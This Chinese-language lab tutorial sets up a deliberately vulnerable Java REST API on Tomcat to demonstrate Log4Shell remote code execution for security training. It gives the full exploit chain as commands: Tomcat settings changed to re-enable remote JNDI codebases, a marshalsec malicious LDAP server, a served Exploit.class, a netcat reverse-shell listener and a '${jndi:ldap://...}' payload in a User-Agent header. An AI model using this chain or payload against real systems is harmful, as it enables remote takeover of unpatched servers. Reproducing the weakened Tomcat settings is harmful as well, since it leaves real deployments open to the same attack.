一个存在漏洞的基于 Java 的 REST API,用于演示 CVE-2021-44228(log4shell)。
Log4Shell 在 2021 年 12 月初席卷了整个互联网。Apache Log4j 日志库中的一个零日漏洞能够实现远程代码执行(RCE),导致全球各地的组织争相修复、打补丁和缓解其面向公众的 Java 应用程序。随着信息安全社区团结起来,为安全团队提供持续的分析和解决方案,Log4j 社区也在忙着开发补丁,以确保这一漏洞的终结。
我开发了这个简单的存在漏洞的 REST API,通过利用 Apache Tomcat 应用服务器上的这一漏洞,演示了通往远程代码执行(RCE)的路径。我希望这个概念验证可以被用来培训您的 SecOps 团队,或教育当前和未来的应用程序开发人员。培训您的团队并改进您的防御措施,包括但不限于 SIEM 规则/告警、EDR、SOAR。
要了解此攻击的工作流程,请查看瑞士政府计算机应急响应小组 GovCERT.ch 提供的这张图:https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png
本教程和源代码仅用于教育和培训目的。请合乎道德地、负责任地使用。 本教程是在假设攻击者和存在漏洞的应用程序位于同一台计算机上的前提下编写的。为了获得更接近真实世界的体验,请将架构分散开来,在独立的服务器上运行存在漏洞的应用程序,并使用类似 Kali Linux 或其他发行版来模拟攻击者。
让我们开始吧。
一旦你安装了 Java JDK 和 Maven,假设你在 Linux 发行版上,切换到你的 vuln4japi 目录并构建你的项目。
注意:你可能希望在构建之前修改应用程序的某些组件。例如,你可以修改 log4j2.xml 文件中 log4j 日志的路径。或者你可能想要更改 pom.xml 文件中生成的 war 文件的名称。这完全取决于你。
cd /path/to/vuln4japi
mvn clean package -DskipTests
如果你没有看到任何构建错误,你应该会有一个新创建的 target 目录,其中包含你的 vuln4japi.war 文件。好的,我们稍后再回到这个文件。让我们简要地看一下 Tomcat。
根据你的 Java 8 版本,较新的 8 版本可能将此特定设置(com.sun.jndi.ldap.object.trustURLCodebase)设置为 false。这有效地禁止了 JNDI 通过 LDAP 加载远程代码库。而这正是此漏洞所利用的。因此,我们需要修改 Tomcat 的 catalina.properties 文件,将此系统设置设为 True,使 Tomcat 故意存在漏洞。
一旦你下载了适用于 Linux 的 apache-tomcat-8.0.32.tar.gz,将其解压到 /opt 之类的目录中。
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
切换到 /conf 目录并修改文件末尾的 catalina.properties。
注意:使用你喜欢的文本编辑器。在此示例中我使用 vim。
cd /opt/apache-tomcat-8.0.32/conf
vim catalina.properties
# 在文件最末尾添加以下系统属性
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true
退出文本编辑器,并使用 /bin 目录中的 catalina.sh 脚本启动 Tomcat。
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start
通过导航到 http://localhost:8080/ 或从命令行界面使用简单的 cURL 命令来测试你的 Apache Tomcat 实例。
curl -vv http://localhost:8080/
如果你在浏览器或终端上看到欢迎页面,那么它应该可以正常工作了。现在我们可以部署我们的存在漏洞的应用程序。
将你的 .war 文件复制到 Tomcat 的 /webapps 目录。Tomcat 将在几秒钟内热部署你的应用程序。
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
通过导航到应用程序 URL 或再次从命令行使用 cURL 来测试你的存在漏洞的应用程序。 在浏览器上:http://localhost:8080/vuln4japi/api
curl -vv http://localhost:8080/vuln4japi/api
你应该会看到显示以下消息:Hi, this is a Vulnerable App!!
既然我们已经让一些组件正常工作了,让我们来利用这个东西...
marshalsec 项目是详细了解此类攻击的绝佳资源。本质上,它充当一个恶意的 LDAP 服务器,然后将任何请求重定向到托管 .class 文件的恶意 Web 服务器。我强烈建议在使用 marshalsec 之前,先查看 mbechler 的 Github 仓库上发布的一些文档:https://github.com/mbechler/marshalsec
如果你决定跳过技术细节和文档,请克隆该仓库并切换到该目录。现在,在你构建这个 Java 项目之前,我建议在 LDAPRefServer.java 文件中添加一行调试语句。这个打印语句在捕获来自存在漏洞的服务器的 LDAP 查询时会很有用。
使用你喜欢的文本编辑器,编辑以下文件,并在 processSearchResult() 方法中添加如下代码块中所示的行。
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
// 添加此行以显示完整的请求信息
System.out.println("Request: " + result.getRequest());
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
修改文件后保存并退出文本编辑器。现在你应该可以使用 Maven 构建 marshalsec 项目了。 切换回 marshalsec 文件夹的根目录并执行 maven。
mvn clean package -DskipTests
如果没有构建错误,你应该会看到新创建的 /marshalsec/target 目录,其中包含 marshalsec-0.0.3-SNAPSHOT-all.jar 文件。
让我们在运行我们的 marshalsec 恶意 LDAP 服务器之前,设置好其余的 attacker 工具。
切换到 exploitz 文件夹并编译其中包含的 Exploit.java 文件。
javac Exploit.java
如果你没有收到任何错误,你应该会有一个 Exploit.class 文件。
这样就完成了。你应该已经编译好了所有需要的东西,并且 Web 服务器正在运行。再次强调,假设你在 Linux 服务器上运行此测试,你将需要打开至少 5 个终端窗口。
终端 1:运行 marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
终端 2:切换到包含你的 Exploit.class 的 xploitz 目录,并运行一个本地 Python 服务器。
python3 -m http.server 8081
终端 3:跟踪你的 /tmp/logs/vuln4jpi_log4j.log 文件以查看对你的存在漏洞的应用程序发出的请求。
tail -f /tmp/logs/vuln4japi_log4j.log
终端 4:在端口 8001 上打开一个 netcat 监听器。这当然是来自同一主机的反向 shell 连接。请记住,我们是在同一台主机上完成所有这些操作的。为了获得真实世界的体验,请尝试使用 2 或 3 台不同的计算机。
nc -lv 8001
终端 5:使用简单的 cURL 命令提交你的 payload。
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
如果一切按预期工作,你应该会有一个 shell 转发到你在端口 8001 上的 netcat 监听器。检查你的所有终端窗口,观察每个窗口中的行为,查找任何拼写错误或语法错误。这里涉及的内容很多,所以人为错误总是存在的。多运行几次,直到你掌握它。你可能需要稍微修改一下源代码,但嘿,这就是我们学习的方式。;-)
我希望你能像我享受构建这个项目一样享受从中学习。如果你有任何反馈或评论,可以在 twitter 上找到我 @offswitchsec。祝愉快,黑客快乐!